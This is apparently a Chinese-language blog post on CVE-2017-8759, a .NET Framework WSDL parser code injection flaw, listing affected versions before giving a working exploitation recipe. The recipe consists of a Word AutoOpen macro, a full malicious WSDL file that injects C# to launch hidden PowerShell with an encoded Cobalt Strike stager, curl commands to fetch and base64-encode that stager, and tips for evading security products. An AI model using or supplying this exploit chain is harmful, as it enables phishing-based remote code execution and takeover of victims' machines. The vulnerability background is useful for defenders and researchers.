CVE-2017-8759
- 作者:c4bbage
- 时间:2017.9.14
- 链接:http://dobest1.com/CVE-2017-8759
简介
FireEye 最近检测到一个恶意的Microsoft Office RTF文档,利用CVE-2017-8759 WSDL解析器代码注入PrintClientProxy方法中的WSDL解析器模块中存在代码注入漏洞。如果提供的包含CRLF序列的数据,则IsValidUrl不会执行正确的验证。这就造成了攻击者注入和执行任意代码。
基本信息 基本信息抄自猎户攻防实验室
漏洞名称:.NET Framework远程代码执行漏洞
漏洞编号:CVE-2017-8759
漏洞影响:.NET系列产品的远程代码执行(RCE)并进一步控制系统
利用场景:远程钓鱼、社会工程(打开有惊喜哟)
影响版本:以下.NET版本
- Microsoft .NET Framework 4.6.2
- Microsoft .NET Framework 4.6.1
- Microsoft .NET Framework 3.5.1
- Microsoft .NET Framework 4.7
- Microsoft .NET Framework 4.6
- Microsoft .NET Framework 4.5.2
- Microsoft .NET Framework 3.5
- Microsoft .NET Framework 2.0 SP2
影响产品:
- Office(word excel)Edge IE WinOS Skype Lync Sharepoint
加固方法:
- https://portal.msrc.microsoft.com/en-us/security-guidance
利用方法(宏,会有提示)
这个方法不是fireeye报告中样本利用的方式。
新建word宏文档,建立宏AutoOpen
Sub AutoOpen()
Set x = GetObject("soap:wsdl=http://127.0.0.1:3333/exploit.txt")
End Sub
由于采用mshta,已经开始被各种安全防护设施查杀,一般环境建议更换为powershell,exploit.txt代码如下
会有弹窗,可以更换为其他方式rundll32
<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">
<soap:address location="http://127.0.0.1:8080?c:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe? -exec bypass -nop -w hidden -ENC XXXXXXXXXXXXXXXXXXXXXXXXXXX"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>
</port>
</service>
</definitions>
XXXXXXXXXXXXXXXXXXXXXXXXXXX 为base64的cobalt strike Web Delivery(powershell 代码)
获取cobalt strike Web Delivery 代码
curl -H 'User-Agent:' xx.xxx.xxx.xx/a > cs.ps1
$c = Get-Content 'cs.ps1'
$b = [System.Text.Encoding]::Unicode.GetBytes($c.Trim())
$en =[Convert]::ToBase64String($b)
$en | Out-File "cs.ps1.b64"